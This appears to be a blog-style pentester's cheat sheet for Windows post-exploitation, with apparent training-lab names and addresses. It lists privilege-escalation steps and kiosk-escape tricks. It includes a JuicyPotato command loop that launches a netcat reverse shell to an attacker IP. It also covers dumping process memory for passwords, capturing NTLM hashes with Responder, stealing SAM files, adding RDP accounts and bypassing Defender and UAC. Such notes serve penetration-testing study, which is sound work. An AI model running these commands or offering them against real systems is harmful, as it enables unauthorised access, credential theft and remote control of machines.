- Perform basic Windows system enumeration
- Enumerate the file system(s)
- Perform privilege escalation scripts
- Check the Windows Service Exploitation post
- Perform Metasploit Postex modules
- Perform Empire postex modules
- Execute PowerUp
- Try other stuff
- Perform the steps again.
After these steps, more things to do:
- Metasploit:
msf> use multi/recon/local_exploit_suggestermsf> post/windows/*
- Check out the Windows Subsystem for Linux
Work with processes
For enumeration of processes, see the Basic Windows system enumeration post.
Kill a process
taskkill /PID $pid taskkill /IM notepad.exe pskill /accepteula $pid // With SysinternalTools
Suspend and continue a running process with SysinternalTools:
pssuspend /accepteula notepad.exe ... pssuspend /accepteula -r notepad.exe
Work with DLL’s
Show all loaded unsigned DLL’s on the systems. This can help to detect malicious code.
listdlls /accepteula -a // With SysinternalTools
Various topics
- Bypassing Windows protection mechanisms.
- Execution
- Firewall
- UAC
- Windows Defender
- Add a RDP account and log in via the GUI.
- Monitor the live system
- If the AlwaysInstallElevated values are 1 from this query:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
then see here. - Check the list of kernel exploits for the current system.
- Run responder to see traffic
- Get SAM files
- Browse trough logs in PS. E.g. see Logs from a user. More Info here.
Get-EventeLog -UserName ryan - Execute a command as another user:
runas /user:userName cmd.exe - If you don’t have access to a file you want to:
- Check permissions on the file with
icacls. - Check permissions with
icaclsalso at the directory. - Check various
dircommands to see special permissions, alternate streams. - Try to change ownership:
icacls root.txt /grant alfred:F
- Check permissions on the file with
- If you can execute a GUI program with eleavated privileges, open the open dialog, add into the path
file://c:/windows/system32/cmd.exeand “open”. - If you have access to a system, but no NTLM hashes, try to connect to an own server with Responder to get a NTLM hash.
External ressources
Various things to use and remember
- Need details about a command?
help $command - Build-in commands (type
helpfor the complete list):- Show file attributes
attrib $file - Show (and change!) ACLs of a file:
cacls $fileicacls $file// can also modify! - Diff / Compare two files:
comp $f1 $f2
orfc $f1 $f2 - The command fsutil gives information about the file systems. Useful subcommands:
fsutil fsInfo drives// Returns all available drivesfsutil quota ...// Manage quota limits - Show / set executeable search paths:
path - Show / set environment variables:
set
- Show file attributes
- Grepping through large output with findstr (Manpage):
- Find a string case-insensitive:
dir /s /a | findstr /i /C:password - Find all lines which doesn’t include a string:
dir /s /a | findstr /i /v /C:TEMP - Find all lines which start with a string:
dir /s /a | findstr /i /b /C:bla - Find all lines which end with a string:
dir /s /a | findstr /i /e /C:.docx
- Find a string case-insensitive:
- How to download files with notepad:

Ideas of dispear
- Some processes can hold sensitive data in their memory. Check if an interesting process is running (Browser!). Use procdump.exe to dump the memory and analyze it locally. (E.g with strings <dump> or a hex editor or grep for password string or known user string.)
procdump64.exe -ma -accepteula - Execute
driverquery /vand search for kernel driver exploits. - Check alternate data streams
- Try the JuicyPotatoe
- Privilege
SeImpersonateorSeAssignPrimaryTokenneeded. - Example: JuicyPotato.exe ‑t * ‑p “C:\Temp\p64_443.exe” ‑l 5542
- If error COM -> recv failed with error: 10038 occurs, check other CLSID. (See also the juicy_potato_clsid_runner.bat script.)
- Read credentials for users DPAPI etc.: https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde/view/Discussions#content
- Alternative: Try churrasco
- Or see MS10-059 exploit in the windows-kernel-exploits directory. (Open nc handler locally, execute MS10-059.exe on the victim with your own IP and port.)
- Try all CLSIDS in the command line:
for /F "tokens=*" %A in (clsids2.txt) do Juicy.Potato.x86.exe -t * -p C:\Temp\s32.exe -l 5542 -c %Afor /F "tokens=*" %A in (clsids2.txt) do Juicy.Potato.x86.exe -t * -p C:\windows\system32\cmd.exe -a "/c C:\wamp\www\nc.exe -e cmd.exe 192.168.49.179 80" -l 5542 -c %A
- Privilege
- Some applications doesn’t work anymore, but old one may do. Try an old attacking machine or version of some previously tried software.
Kiosk mode escape
- You can download in open dialogs.
- Try to open other processes within the allowed application.
- Try to open an explorer.
- Type “explorer” in a explorer to start a Windows set up script.
- Upload base64 encoded file via HTTP in Notepad open dialog and decode it with certutil.
- Execute via dll or rundll32 or as screensaver.
Leave a Reply
You must be logged in to post a comment.